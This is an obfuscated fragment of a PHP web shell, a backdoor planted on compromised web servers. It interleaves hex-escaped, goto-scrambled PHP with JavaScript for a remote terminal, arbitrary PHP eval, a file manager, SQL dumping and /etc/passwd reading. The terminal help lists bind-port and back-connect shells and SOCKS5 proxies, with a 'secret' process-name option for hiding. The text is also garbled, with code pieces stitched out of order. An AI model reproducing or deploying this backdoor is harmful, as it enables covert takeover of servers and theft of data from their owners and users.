  data[i].style.width = tr;
 }
}

function onGetData(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 if (data.f.length === 0) {
  var v = data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t;
  return uiChngMsg(div, data.o > 0 ? 'No more data in table ' + v : 'Table ' + v + ' is empty', 'Inf');
 }
 var isNotPgnbl = !('o' in data);
 listData((isNotPgnbl ? 'Top ' + data.r.length + ' rows' : 'Rows ' + data.o + '-' + (data.o + data.r.length - 1)) + ' from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, data);
 var frmPg = elmById('frmPg');
 frmPg.b.value = data.b;
 frmPg.s.value = ('s' in data) ? data.s : '';
 frmPg.t.value = data.t;
 frmPg.o.value = 0;
 frmPg.o.disabled = isNotPgnbl;
 frmPg.elements[3].disabled = isNotPgnbl;
 frmPg.elements[5].disabled = isNotPgnbl;
 if (frmPg.style.display !== 'block') frmPg.style.display = 'block';
 uiDelMsg(div);
}

function chngPg(v) {
 var elms = elmById('frmPg'),
  chlds = [],
  val = (elms.o.value | 0) + v * (elms.r.value | 0),
  data = {
   b: elms.b.value,
   t: elms.t.value,
   o: val > 0 ? val : 0,
   r: elms.r.value | 0,
   f: []
  };
 if (elms.s.value !== '') data.s = elms.s.value;
 var prnt = srchItm(elmById('divSchm'), 'b[]', data.b);
 if (prnt && prnt.lastChild.className === 'divLst') {
  if ('s' in data) prnt = srchItm(prnt.lastChild, 's[]', data.s);
  if (prnt && prnt.lastChild.className === 'divLst') {
   prnt = srchItm(prnt.lastChild, 't[]', data.t);
   if (prnt && prnt.lastChild.className === 'divLst') {
    var chlds = prnt.lastChild.childNodes;
    for (var i = 0, c = chlds.length; i < c; ++i)
     if (chlds[i].firstChild.checked) data.f.push(chlds[i].firstChild.value);
   }
  }
 }
 if (data.f.length === 0) data.f = '';
 return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t + ' (' + data.o + '-' + (data.o + data.r) + ')', onGetData, data);
}

function query() {
 var v = elmById('frmSQL').q.value;
 return v === '' ? false : sqlAjxSnd(v, onQuery, {
  q: v
 });
}

function onQuery(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 if (data.f.length === 0) return uiChngMsg(div, 'Query successfully completed (' + data.q + ')', 'Inf');
 elmById('frmPg').style.display = 'none';
 listData(data.q, data);
 uiDelMsg(div);
}

function getDumpList(data, elms, prfx) {
 var n = 0,
  indx = elms[0].firstChild.name.slice(0, 1) + '[' + prfx + ']';
 data[indx] = [];
 for (var i = 0, c = elms.length; i < c; ++i) {
  if (elms[i].firstChild.checked) data[indx][n++] = elms[i].firstChild.value;
  else if (elms[i].firstChild.indeterminate) {
   data[indx].push(elms[i].firstChild.value);
   getDumpList(data, elms[i].lastChild.childNodes, prfx + '-' + n);
   n++;
  }
 }
}

function dump() {
 var data = {
   d: [],
   o: elmById('slctDmpFrmt').value
  },
  elms = elmById('divSchm').childNodes,
  n = 0;
 for (var i = 0, c = elms.length; i < c; ++i) {
  if (elms[i].firstChild.checked) data.d[n++] = elms[i].firstChild.value;
  else if (elms[i].firstChild.indeterminate) {
   data.d.push(elms[i].firstChild.value);
   getDumpList(data, elms[i].lastChild.childNodes, n++);
  }
 }
 if (n) sqlAjxSnd('Download SQL dump (close this message after start download)', onDump, data);
}

function onDump(div, data) {
 uiChngMsg(div, data.e, 'Err');
}

function onPHPKeyDwn(e) {
 if (e.ctrlKey && e.keyCode === 13) return evl();
}

function onPHPResKeyDwn(e) {
 if (e.ctrlKey && e.keyCode === 65) {
  uiSlctTxt('prePHP');
  e.preventDefault();
 }
}

function uiChngCmps() {
 var lbl = elmById('aCmps'),
  frm = elmById('divPHP').style;
 if (lbl.className === 'cmpsRow') {
  lbl.className = 'cmpsCol';
  frm.flexDirection = 'column';
 } else {
  lbl.className = 'cmpsRow';
  frm.flexDirection = 'row';
 }
 return false;
}

function evl() {
 var frm = elmById('frmPHP');
 if (frm.e.value === '') elmById('prePHP').innerHTML = '';
 else ajxSnd('Eval PHP code', onEvl, frm, {
  a: 'p'
 }, elmById('slctPHPCS').value);
 return false;
}

function onEvl(div, data) {
 var elm = elmById('prePHP'),
  chr = data.slice(-1);
 if ('createShadowRoot' in elm) {
  if (elm.shadowRoot === null) elm.createShadowRoot();
  elm = elm.shadowRoot;
 }
 if (chr === "\x06" && elmById('cbClnInp').checked) elmById('txtPHP').value = '';
 if (elmById('cbClnOut').checked) elm.innerHTML = '';
 if (chr === "\x15" && data.slice(0, -3) === '' && !elmById('frmPHP').h.checked) data = '\nFatal error: You have syntax error in PHP code\n';
 else data = data.slice(0, -3);
 if (elmById('cbHTML').checked) {
  var divRst = document.createElement('iframe');
  divRst.style = 'all:initial;isolation:isolate;width:100%;height:100%;';
  divRst.srcdoc = data;
  elm.appendChild(divRst);
 } else elm.appendChild(document.createTextNode(data));
 uiDelMsg(div);
}

function phpSaveState() {
 strgSaveBool('phpChngCmps', elmById('aCmps').className === 'cmpsCol');
 strgSaveBool('phpClnInp', 'cbClnInp');
 strgSaveBool('phpClnOut', 'cbClnOut');
 strgSaveBool('phpHTML', 'cbHTML');
 var frm = elmById('frmPHP');
 strgSaveBool('phpSilent', frm.h.checked);
 strgSaveOpt('phpSendAs', elmById('slctPHPCS').value);
 strgSaveOpt('phpLoadAs', frm.c.value);
}

function phpRestoreState() {
 if (sessionStorage.getItem('phpChngCmps')) uiChngCmps();
 strgRstrChck('phpClnInp', 'cbClnInp');
 strgRstrChck('phpClnOut', 'cbClnOut');
 strgRstrChck('phpHTML', 'cbHTML');
 var frm = elmById('frmPHP');
 strgRstrChck('phpSilent', frm.h);
 strgRstrVal('phpSendAs', 'slctPHPCS');
 strgRstrVal('phpLoadAs', frm.c);
}
var trmHist = strgRstrArr('trmHist'),
 trmIndx = trmHist.length;

function onTrmClick(e) {
 if (e.target === elmById('divTrm')) elmById('inpTrm').focus();
}

function onTrmResKeyDwn(e) {
 if (e.ctrlKey && e.keyCode === 65) {
  uiSlctTxt('preTrm');
  e.preventDefault();
 }
}

function onTrmInpKeyDwn(e) {
 var frm = elmById('frmTrm'),
  inp = frm.e;
 if (e.keyCode === 38) {
  if (trmIndx > 0) inp.value = trmHist[--trmIndx];
 } else if (e.keyCode === 40) {
  var val = trmHist.length;
  if (trmIndx < val - 1) inp.value = trmHist[++trmIndx];
  else {
   inp.value = '';
   if (trmIndx < val) ++trmIndx;
  }
 } else if (e.ctrlKey && e.keyCode === 76) elmById('preTrm').textContent = '';
 else if (e.keyCode === 13) exec();
 else return;
 e.preventDefault();
}

function prntMsg(msg) {
 if(elmById('cbIT').checked)
    elmById('preTrm').textContent = elmById('spnUsrHst').textContent + ':' + elmById('spnPth').textContent + '$ ' + msg + '\n' + elmById('preTrm').textContent;
 else{
    elmById('preTrm').textContent += elmById('spnUsrHst').textContent + ':' + elmById('spnPth').textContent + '$ ' + msg + '\n';
    var trm = elmById('divTrm');
    trm.scrollTop = trm.scrollHeight;
 }
 return false;
}

function exec() {
 var frm = elmById('frmTrm'),
  cmd = frm.e.value.trim(),
  val = cmd.match(/!(!|(?:-?[0-9]+))/);
 if (val !== null) {
  val = val[1] | 0;
  if (val >= 0) --val;
  cmd = trmHist[val < 0 ? trmHist.length + val : val];
  frm.e.value = cmd;
 }
 if (trmHist.slice(-1)[0] !== cmd) trmHist.push(cmd);
 trmIndx = trmHist.length;
 if (cmd === '?') {
  val = '  For more information run command without params.\n\n';
  prntMsg('?\n\n' + 'cls, clear\n' + '  Clear terminal window.\n' + '  * You can clear terminal window pressing Ctrl+L\n\n' + 'history\n' + '       Show all comands.\n' + '  n    Show last n commands.\n' + '  !!   Execute last command.\n' + '  !n   Execute command number n. If value negative then counting starts at end.\n' + '  * You can navigate through history using UP and DOWN keys.\n\n' + 'report\n' + '  Create server information report.\n' + '  For more information run command with question param.\n\n' + 'socks5.perl\n' + '  Run Socks5 server using Perl.\n' + val + 'bindport.perl\n' + '  Open port and provide shell access for connected client using Perl.\n' + val + 'backconnect.perl\n' + '  Connect to client and provide shell access for him using Perl.\n' + val + 'socks5.python\n' + '  Run Socks5 server using Python.\n' + val + 'bindport.python\n' + '  Open port and provide shell access for connected client using Python.\n' + val + 'backconnect.python\n' + '  Connect to client and provide shell access for him using Python.\n' + val);
 } else if (cmd === 'cls' || cmd === 'clear') elmById('preTrm').textContent = '';
 else {
  val = cmd.match(/history ?([0-9]*)/i);
  if (val !== null) {
   val = val[1] | 0;
   var s = cmd + '\n';
   for (var c = trmHist.length, i = (val > 0 && c > val) ? c - val : 0; i < c; ++i) s += '\t' + (i + 1) + '\t' + trmHist[i] + '\n';
   prntMsg(s);
  } else {
   val = cmd.split(' ', 4);
   var usg = cmd + '\n' + 'Usage:\n  ' + val[0],
    opt = ' <port> [options]\nOptions (option value can\'t contain whitespace):\n  -i <file>  Use interpreter <file>. Default: ',
    perl = '<?php  goto mM3Md; jNku3: ?>
"><button type="button"onclick="dwnFiles(getSlctdFiles())">Download</button><button type="button"onclick="prpsSlctdFiles()">Properties</button><button type="button"onclick="markSlctdFiles()">Mark</button><button type="button"onclick="delFiles(getSlctdFiles())">Delete</button></th></tr></tfoot></table></form></div><template id="tmplFilesTBody"><tbody><tr><th colspan="<?php  goto wjnY5; fTz9c: ?>
);
 if ('e' in data) {
  var errs = ["can't move file to current dir", 'file size exceeds the upload_max_filesize directive', 'file size exceeds the max_file_size property', 'file only partially uploaded', 'file not uploaded', 'Who Do You Voodoo, Bitch?', 'missing a temporary folder', 'failed to write to disk', 'some PHP extension stopped the upload'],
   cnt = data.e.length,
   sep = cnt === 1 ? ' ' : '\n',
   msg = "Can't save uploaded file";
  if (cnt > 1) msg += 's:';
  for (var i = 0; i < cnt; ++i) msg += sep + data.e[i].slice(1) + ' (' + errs[data.e[i].slice(0, 1)] + ')';
  uiChngMsg(div, msg, 'Err');
 } else uiDelMsg(div);
}

function uplFiles() {
 var inp = elmById('inpUpl'),
  fls = inp.files,
  len = fls.length;
 fmAjxSnd('Upload ' + (len > 1 ? len + ' files' : fls[0].name), onUplFiles, {
  p: elmPth.placeholder
 }, inp.form);
}

function onMkFile(div, data) {
 if ('e' in data) return uiChngMsg(div, "Can't c" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err');
 updTblFile(data);
 uiDelMsg(div);
}

function mkLnk(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = elmById('frmLnk'),
  lnk = canonPath(frm.elements[1].value, elmPth.placeholder);
 fmAjxSnd('Create ' + frm.t.textValue.toLowerCase() + ' link ' + lnk + ' to ' + frm.p.value, onMkFile, {
  l: lnk
 }, frm);
 uiClsModal(frm);
}

function uiShwFrmLnk(p) {
 var frm = elmById('frmLnk');
 frm.p.value = p;
 frm.elements[1].value = p;
 frm.t.selectedIndex = 0;
 uiShwModal(frm);
}

function mkDir(bp) {
 var fp = prompt('Create Directory', bp);
 if (fp !== null) {
  fp = canonPath(fp, bp);
  fmAjxSnd('Create directory ' + fp, onMkFile, {
   m: fp
  });
 }
}

function onCrtMenuClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 trgt.blur();
 var bpth = elmPth.placeholder;
 switch (trgt.textContent) {
  case 'File':
   uiShwFrmFile([bpth, null], '', elmById('fmCSSend').value);
   break;
  case 'Link':
   uiShwFrmLnk(bpth);
   break;
  case 'Directory':
   mkDir(bpth);
   break;
 }
}

function uiUnmrkTblFiles(files) {
 var as = elmTblFiles.getElementsByClassName('mrkd');
 for (var i = as.length - 1; i >= 0; --i) {
  var n = files.indexOf(as[i].parentNode.parentNode.cells[0].firstChild.value);
  if (n > -1) {
   as[i].classList.remove('mrkd');
   files.splice(n, 1);
   if (files.length === 0) break;
  }
 }
}

function unmarkFiles() {
 var tbdy = elmById('tblBuffer').tBodies[0],
  inps = elmById('frmBuffer')['f[]'],
  files = [];
 if (!inps.length) inps = [inps];
 for (var i = inps.length - 1; i >= 0; --i)
  if (inps[i].checked) {
   files.push(fmBuffer.splice(i, 1)[0]);
   tbdy.removeChild(inps[i].parentNode.parentNode);
  } if (files.length > 0) {
  uiUnmrkTblFiles(files);
  updBufferState();
 }
}

function onTblBufferClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 var row = trgt.parentNode.parentNode,
  fpth = row.cells[0].firstChild.value;
 switch (trgt.parentNode.cellIndex) {
  case 1:
   goTo(fpth);
   break;
  case 2:
   fmBuffer.splice(row.rowIndex - 1, 1);
   row.parentNode.removeChild(row);
   uiUnmrkTblFiles([fpth]);
   updBufferState();
   break;
 }
}

function uiShwFrmBuffer() {
 var frm = elmById('frmBuffer');
 if (frm.style.visibility === 'visible') return;
 var tbl = elmById('tblBuffer'),
  tbdy = document.createElement('tbody'),
  elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild;
 frm.elements[0].checked = false;
 if (tbl.tBodies.length > 0) tbl.removeChild(tbl.tBodies[0]);
 fmBuffer.sort();
 for (var i = 0, c = fmBuffer.length; i < c; ++i) {
  var row = elmTmplBufferRow.cloneNode(true);
  row.cells[0].firstChild.value = fmBuffer[i];
  row.cells[1].firstChild.textContent = fmBuffer[i];
  tbdy.appendChild(row);
 }
 tbl.appendChild(tbdy);
 uiShwModal(frm);
}

function getName(f) {
 return f[0];
}

function onFlshBuffer(div, data) {
 var files = ('c' in data) ? data.c : [];
 if ('m' in data)
  for (var i = data.m.length - 1; i >= 0; --i) {
   rmFiles({
    p: data.m[i].p,
    f: data.m[i].f.map(getName)
   });
   files = files.concat(data.m[i].f);
  }
 updTblFiles({
   p: data.p,
   f: files
  }
  <?php  goto fjVAJ; pNK4T: function genEncKey($str) { return base64_encode(hash($GLOBALS["\110\101\123\x48\124\x59\120\105"], ($GLOBALS["\x52\105\115\117\x54\105\137\x41\104\x44\x52"] ? $_SERVER["\x52\x45\115\x4f\124\x45\137\101\x44\x44\122"] : '') . $str . __FILE__)); } goto ZY6LM; s_qSS: if ($GLOBALS["\101\x43\105\103\x4f\x4e\x46"]["\125\122\x4c"]) { ?>
function aceEditorProcess(element){

	if(typeof ace == 'undefined'){
		var aceScript = document.createElement('script');
		aceScript.src = '<?php  echo $GLOBALS["\101\103\105\x43\x4f\116\x46"]["\x55\122\114"]; ?>
';
		document.body.appendChild(aceScript);

		aceScript.onload = function(){
			aceEditor = [];
			aceEditorProcess(element);
		}

		return false;
	}

	var aceEditorModes = ['php', 'perl', 'python', 'golang', 'ruby', 'javascript', 'sh', 'powershell' , 'sql', 'apache_conf', 'nginx', 'lua', 'markdown'];
	var aceEditorThemes = ['eclipse', 'dreamweaver', 'crimson_editor', 'sqlserver', 'solarized_light', 'xcode', 'katzenmilch', 'dawn', 'iplastic', 'monokai', 'ambiance', 'cobalt', 'nord_dark'];
	var parentForm = getParentFormOf(element);
	var eId = parentForm.name = (parentForm.name ? parentForm.name : Math.random().toString(36).substring(2, 15));
	var flexRow = parentForm.children[2];
	var textArea = parentForm.elements[0];
	var saveButton = parentForm.elements[4];
	var reloadButton = parentForm.children[0].children[3];
	var editorButton = parentForm.children[0].children[4];
	var closeButton = parentForm.children[0].children[1];
	var aceEditorDiv = parentForm.children[eId];
	var aceEditorModeSelect = flexRow.children[1];
	var aceEditorThemeSelect = flexRow.children[2];

	if(aceEditorDiv){
		parentForm.removeChild(aceEditorDiv);
		flexRow.removeChild(aceEditorModeSelect);
		flexRow.removeChild(aceEditorThemeSelect);
		textArea.value = aceEditor[eId].getValue();
		textArea.style.display = 'inline';
		saveButton.setAttribute('onclick', '');
		reloadButton.setAttribute('oncontextmenu', '');
		reloadButton.setAttribute('title', '');
		closeButton.setAttribute('onclick', 'return uiDstrModal(this.parentNode.parentNode)');
		clearInterval(aceEditor[eId]['setInterval']);
		delete aceEditor[eId];

		return false;
	}

	var wrapLines = 'aceEditor["' + eId + '"].setOption("wrap", (aceEditor["' + eId + '"].getOption("wrap") == "free" ? "off" : "free")); return false;';
	var clickNscroll = 'aceEditor["' + eId + '"]["reloadButton"].click(); setTimeout("aceEditor[`' + eId + '`].scrollToRow(Number.MAX_SAFE_INTEGER)", 200);';

	var hotKeys = `
		if(event.ctrlKey){
			if(event.keyCode === 83){
				getParentFormOf(this).elements[6].click(); return false;
			}
			if(event.keyCode === 69){
				` + wrapLines + `
				return false;
			}
		}
	`;
	var hotKeysHint = `Ctrl + [KEY]:\n\nS - Save\nE - Line wrap\nL - Go to line\nP - Go to bracket\nH - Find and Replace\n\nSee the AceJS wiki for more.`;

	var aceEditorDiv = document.createElement('div');
	aceEditorDiv.id = eId;
	aceEditorDiv.contentEditable = 'true';
	aceEditorDiv.style = 'border: 1px solid #7f7f7f; height: 100%; margin: 2px;';
	aceEditorDiv.textContent = textArea.value;
	aceEditorDiv.setAttribute('onkeydown', hotKeys);
	parentForm.insertBefore(aceEditorDiv, parentForm.children[3]);
	parentForm.setAttribute('onmousedown', 'if(event.srcElement.className != "ace_content") uiActvModal(event)');
	saveButton.setAttribute('onclick', 'getParentFormOf(this).elements[0].value = aceEditor[\'' + eId + '\'].getValue()');
	reloadButton.setAttribute('oncontextmenu', `
		var e = aceEditor['` + eId + `'];
		var p = prompt((e['reloadInterval'] ? 'Current value is ' + e['reloadInterval'] + '. ' : '') + 'Set reload interval in seconds: \\n\\n');
		var s = Math.abs(Number(p));

		clearInterval(e['setInterval']);

		if(s > 0){
			e['reloadInterval'] = s;
			e['setInterval'] = setInterval('` + clickNscroll + `', s * 1000);
			this.title = s + ' sec.';
			this.style.color = 'red';
		}
		else if(e['reloadInterval']){
			this.style.color = this.title = '';
			clearInterval(e['setInterval']);
			delete e['reloadInterval'];
		}
		else if(p == null){
			` + clickNscroll + `
		}

		return false;
	`);
	editorButton.title = hotKeysHint;
	closeButton.setAttribute('onclick', 'clearInterval(aceEditor[\'' + eId +'\'][\'setInterval\']); delete aceEditor[\'' + eId + '\'];' + closeButton.getAttribute('onclick'));

	textArea.style.display = 'none';
	if(!textArea.setterRedefined){
	    Object.defineProperty(textArea, 'value', {
			set(value){
				this.setterRedefined = true;
				if(aceEditor[eId])
					aceEditor[eId].setValue(value, -1);
				return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').set.call(this, value);
			},
			get(){
				return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').get.call(this);
			}
	    });
	}

	aceEditor[eId] = ace.edit(eId);
	aceEditor[eId].setFontSize('14px');
	aceEditor[eId].setTheme('ace/theme/<?php  echo $GLOBALS["\101\103\105\x43\x4f\x4e\x46"]["\x54\110\105\115\x45"]; ?>
');
	aceEditor[eId].session.setMode('ace/mode/<?php  echo $GLOBALS["\101\x43\x45\x43\117\116\106"]["\x4d\117\104\x45"]; ?>
');
	aceEditor[eId].setOption('showPrintMargin', false);
	aceEditor[eId].setOption('wrap', true);
	aceEditor[eId].session.setUseWorker(false);
	aceEditor[eId].setBehavioursEnabled(true);
	aceEditor[eId].reloadButton = reloadButton;

	new ResizeObserver((function(){if(aceEditor[eId]) aceEditor[eId].resize()})).observe(parentForm);

	aceEditorThemeSelect = buildSelectFor(aceEditorThemes, '<?php  echo $GLOBALS["\101\103\105\x43\117\x4e\x46"]["\124\x48\x45\115\105"]; ?>
', 'aceEditor[\'' + eId + '\'].setTheme(\'ace/theme/\' + this.value);');
	aceEditorModeSelect = buildSelectFor(aceEditorModes, '<?php  echo $GLOBALS["\x41\x43\x45\x43\x4f\116\106"]["\115\x4f\x44\x45"]; ?>
', 'aceEditor[\'' + eId + '\'].session.setMode(\'ace/mode/\' + this.value);');
	aceEditorModeSelect.setAttribute('oncontextmenu', wrapLines);
	aceEditorModeSelect.title = 'Right click to change line wrap';

	flexRow.insertBefore(aceEditorModeSelect, flexRow.children[1]);
    flexRow.insertBefore(aceEditorThemeSelect, flexRow.children[1]);
}

function buildSelectFor(array, selected = '', onChange = ''){
	var select = document.createElement('select');
	select.setAttribute('onchange', onChange);
	array.forEach(function(item){
		var option = document.createElement('option');
		option.value = option.textContent = item;
		if(item == selected) option.selected = true;
		select.appendChild(option);
	});

	return select;
}

function insertCodeEditor(){
	document.getElementById('tmplFrmFile').innerHTML = document.getElementById('tmplFrmFile').innerHTML.replace(/<\/a><\/div>/g,'</a> <a href="#" class="cntrl" title="Code Editor&#x000a;&#x000a;After clicking, the EXTERNAL JS file will be loaded:&#x000a;&#x000a;<?php  echo $GLOBALS["\x41\x43\x45\103\x4f\116\x46"]["\x55\x52\114"]; ?>
" onclick="aceEditorProcess(this);return false"><small>E</small></a><?php  echo $GLOBALS["\101\103\105\103\x4f\x4e\106"]["\104\x45\106\101\125\x4c\124"] ? "\74\x69\155\x67\57\x73\162\x63\x2f\x6f\156\145\162\162\157\162\75\42\141\x63\145\105\x64\x69\x74\157\162\120\162\157\x63\x65\x73\163\x28\164\x68\x69\x73\51\x22\x2f\163\x74\171\x6c\145\75\x22\144\151\x73\x70\154\141\171\72\156\x6f\156\145\73\x22\57\76" : ''; ?>
</div>');
}

insertCodeEditor();
<?php  } goto Ra745; c4ssQ: if (NIX) { echo "\54\x72\157\167\56\143\145\154\154\x73\x5b\65\x5d\56\x66\x69\x72\163\x74\x43\x68\151\x6c\x64\56\x74\x69\x74\154\x65\54\x6f\147\133\60\135\54\x6f\147\x5b\61\135"; } goto BJRA0; pyHi0: $out = ob_get_contents(); goto yYeaX; fjVAJ: if (NIX) { echo "\54\144\x61\x74\x61\56\157\54\144\141\164\x61\56\147"; } goto u3rmu; bmg0Q: echo NIX ? "\57\x62\151\156\57\x73\x68\x65\154\x6c\40\55\x63\40\x27\165\x6e\141\x6d\145\x20\55\x61\x3b\40\151\x64\x27" : "\143\155\x64\40\57\143\x20\x27\166\145\162\73\x20\x70\x77\144\x27"; goto odx9K; aS9O2: ?>
\n',
    opta = '  -a <addr>  Listen only on IP address <addr>. Default listening on all adresses\n',
    optn = '  -n <name>  Set process name to <name>. Default value is secret ;)\n',
    opts = '  -s <file>  Use shell <file>. Default: <?php  goto gBMej; ZY6LM: function setEncKey($pass = '') { if (!$pass && $GLOBALS["\105\x4e\103\x4b\x45\x59"]) { return $GLOBALS["\x45\x4e\x43\x4b\x45\131"]; } $eKey = genEncKey($pass); $GLOBALS["\105\x4e\x43\x4b\105\131"] = $eKey; return $eKey; } goto bQERu; tFxgT: ?>
);
 else
  for (var i = 0, c = data.f.length; i < c; ++i) listFiles(data.f[i] <?php  goto On8I4; voBZd: echo file_exists($ico) ? base64_encode(file_get_contents($ico)) : "\x52\x30\154\x47\x4f\104\154\x68\x45\x41\101\121\x41\x4a\x45\103\101\115\x44\101\x77\101\101\101\101\x50\57\57\57\x77\101\101\101\103\110\x35\x42\101\x45\x41\x41\x41\x49\x41\x4c\x41\101\101\101\101\101\121\x41\102\x41\101\121\x41\x49\x67\x6c\111\x2b\x70\107\167\x45\162\x67\x49\124\x74\151\x57\x6f\167\143\67\104\67\x62\60\x69\x57\x47\105\67\147\160\x35\x31\161\x6b\156\162\153\145\155\147\171\102\x78\143\x41\x4f\167\x3d\x3d"; goto Tt4C2; QegiF: ?>
<script>
<?php  goto s_qSS; eWS3s: $sysini = ini_get_all(); goto m3s68; Y0P3z: function getEncKey() { $len = $GLOBALS["\x50\122\105\114\105\x4e"]; foreach ($_REQUEST as $k => &$v) { $pref = strrev(substr($k, 0, $len)); $post = substr($k, $len, $len); if ($pref === $post) { $eKey = $v; unset($_REQUEST[$k]); $GLOBALS["\x45\116\x43\113\x45\x59"] = base64_decode($eKey); return $GLOBALS["\x45\116\103\113\x45\x59"]; } } return false; } goto pNK4T; cYM70: echo $GLOBALS["\x44\105\x46\101\125\x4c\124\137\124\101\x42"]; goto D25bh; qpEiQ: function uName($id) { if ($id === -1) { return "\77"; } static $a = NULL, $f = FALSE; if ($a === NULL) { if ($v = getFile("\57\x65\x74\143\57\160\x61\x73\163\167\x64")) { $a = array(); $v = explode("\12", $v); foreach ($v as $i) { if ($i) { $i = explode("\x3a", $i, 4); $a[$i[2]] = $i[0]; } } } elseif (defined("\x50\117\x53\111\x58\x5f\x46\137\x4f\x4b") || function_exists("\x70\157\x73\151\x78\137\147\x65\164\x70\x77\x75\x69\x64")) { $f = (bool) posix_getpwuid(0); } } if ($a) { if (isset($a[$id])) { return $a[$id]; } elseif ($f) { if ($v = posix_getpwuid($id)) { return $v["\x6e\141\155\x65"]; } } } return $id; } goto ASF_h; qH6mN: function unQuote($a) { foreach ($a as $k => $v) { if (is_array($v)) { $a[$k] = unQuote($v); } else { $a[$k] = stripslashes($v); } } return $a; } goto cVDuY; nl10B: ?>
\n',
    pthn = '<?php  goto m3huV; kGtE3: function checkAuth() { if (!$GLOBALS["\120\x41\123\x53\x48\101\123\110"]) { return setEncKey(); } $loginWithPass = isset($_REQUEST["\x70\141\x73\x73"]) && hash($GLOBALS["\110\101\123\110\x54\131\120\x45"], $_REQUEST["\x70\141\x73\x73"]) === $GLOBALS["\120\x41\123\x53\x48\x41\x53\110"]; $encKeyWithPass = $GLOBALS["\105\x4e\103\x4b\105\x59"] === genEncKey($GLOBALS["\120\x41\123\123\110\101\x53\110"]); if ($loginWithPass) { setEncKey($GLOBALS["\120\101\x53\123\x48\101\x53\110"]); } elseif ($encKeyWithPass) { setEncKey(); } else { loginFormOut(); } } goto Y0P3z; cVDuY: function prepVals(&$a, $k) { foreach ($a as $i => $v) { if (is_array($v)) { prepVals($a[$i], $k); } elseif (strlen($v) > 2) { $r = ''; $v = explode($k, $v); for ($n = count($v) - 1; $n >= 0; --$n) { $c = array_pop($v); if ($c === '') { $c = $k; } if ($n % 2 === 0) { $r .= $c; } else { $r = $c . $r; } } $a[$i] = $r; } } } goto Q9YuK; IocAI: ?>
 </select><input type="text"name="h"placeholder="Host"/><input type="text"name="u"placeholder="User"/><input type="text"name="p"placeholder="Password"/><input type="text"name="b"placeholder="Base"/><button>&gt;</button></form><div class="subbar"><span class="spnChrst"> <hr class="arwUp"/> <select id="sqlCSSend"><?php  goto rYG4X; RWhia: $GLOBALS["\123\105\x43\x48\105\101\104"] = "\x55\123\105\122\x5f\101\107\x45\x4e\124"; goto FMHLc; B46FD: if (NIX) { echo "\x76\141\162\x20\157\147\x3d\162\157\167\56\x63\x65\x6c\x6c\x73\133\x36\135\56\164\x69\164\x6c\x65\x2e\163\160\x6c\x69\x74\x28\x27\57\47\51\73"; } goto peFDT; E6yQa: ?>
</script>
</html>
<?php  goto pyHi0; zKHge: define("\x54\115", isset($D["\x74\x6d"]) ? true : false); goto f4CaP; t18Ha: function ascii2hex($ascii) { $hex = ''; for ($i = 0; $i < strlen($ascii); $i++) { $byte = strtoupper(dechex(ord($ascii[$i]))); $byte = str_repeat("\60", 2 - strlen($byte)) . $byte; $hex .= $byte; } return $hex; } goto LqFLO; A_5i2: ?>
 <th width="65px">Actions</th></tr></thead><tfoot><tr><th colspan="<?php  goto STCWy; TUFOa: $GLOBALS["\101\103\105\103\117\x4e\x46"] = array("\x44\105\106\101\x55\114\x54" => false, "\x54\110\x45\115\x45" => "\x63\x72\151\x6d\x73\x6f\x6e\137\x65\144\151\x74\x6f\162", "\115\117\104\105" => "\x70\x68\160", "\125\122\114" => "\x68\x74\x74\x70\163\x3a\x2f\57\x63\x64\x6e\152\x73\56\143\154\157\x75\144\x66\154\141\162\x65\x2e\143\x6f\x6d\57\x61\x6a\x61\x78\57\154\x69\142\163\x2f\x61\143\145\x2f\x31\x2e\61\x34\56\x30\57\141\x63\x65\x2e\152\x73"); goto FLogZ; y_1e6: echo time() * 1000; goto rCOs1; f4CaP: define("\103\123\105", isset($D["\x63"]) ? $C[$D["\143"]] : "\125\124\x46\55\x38"); goto U8iwQ; XZrMW: infMain(TRUE); goto Uj2er; kYUjf: echo NIX ? 7 : 6; goto JNe9f; IFFT1: if (!NIX) { $a = range("\101", "\x5a"); foreach ($a as $v) { $i = new FileInfo($v . "\x3a\134"); if ($i->isDir()) { echo "\x3c\x62\165\x74\x74\x6f\x6e\x20\x74\171\x70\x65\x3d\x22\142\x75\164\164\x6f\156\42\x6f\156\143\x6c\x69\143\153\x3d\42\x67\x6f\124\157\x28", "\47", $v, "\x3a\x5c\134\47", "\x29\x22\x3e", $v, "\x3a\74\x2f\x62\165\164\164\157\x6e\x3e"; } } } goto ttWuN; zObPJ: ?>
</select></span></div></div><div id="divTrm"onclick="onTrmClick(event)"><pre id="preTrm"onkeydown="onTrmResKeyDwn(event)"tabindex="-1"></pre><div class="flexRow"><span id="spnUsrHst"></span>:<span id="spnPth"></span>$&nbsp;<input type="text"name="e"id="inpTrm"onkeydown="onTrmInpKeyDwn(event)"autocomplete="off"/></div></div></form></span><span id="tabInf"><a href="#tabInf"class="tab">Information</a><div class="tabPage"id="divInfo"><div class="toolbar"><div><a href="#"class="lnkAct"onclick="return ajxSnd('Get main info', onInfMain, null, {a:'i',t:'m'})">Main</a> / <a href="#"class="lnkAct"onclick="return ajxSnd('Get php info', onInfPHP, null, {a:'i',t:'p'})">PHP</a> / </div></div> <?php  goto XZrMW; pYW3v: ?>
